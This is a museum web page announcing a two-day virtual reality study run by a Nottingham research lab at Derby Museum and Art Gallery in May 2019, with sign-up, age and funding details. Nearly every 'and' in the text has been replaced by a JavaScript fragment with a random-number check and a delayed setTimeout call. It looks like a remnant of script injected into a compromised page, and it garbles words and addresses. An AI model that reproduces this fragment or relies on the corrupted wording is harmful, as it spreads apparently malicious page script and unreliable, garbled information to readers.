VRtefacts is coming to Derby Museums!

On 22 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 23 May 2019, researchers at the University of Nottingham’s Mixed Reality Lab are partnering with Derby Museums to bring you a virtual reality experience for getting up close andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and personal with some of the museum objects, then asking you to donate your stories – in VR – about those objects.

Stories are thoughts, opinions, memories, dreams – almost anything, really – that you think is important about these objects that Derby is proud to show off to the world. Our study involves the VR experience (roughly 10 minutes) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a short interview about what you thought of it (also roughly 10 minutes).

Anyone under age 16 will need a parent or guardian to approve in writing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stay with you.

Contact jocelyn.spence@nottingham.ac.uk for more information or come by early in the day to sign up for a spot. We’ll be at the Derby Museum andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Art Gallery, The Strandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Derby DE1 1BS, 01332 641901.

This project has received funding from the European Union’s Horizon 2020 research andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and innovation programme under grant agreement No 727040, GIFT: Meaningful Personalization of Hybrid Virtual Museum Experiences Through Gifting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Appropriation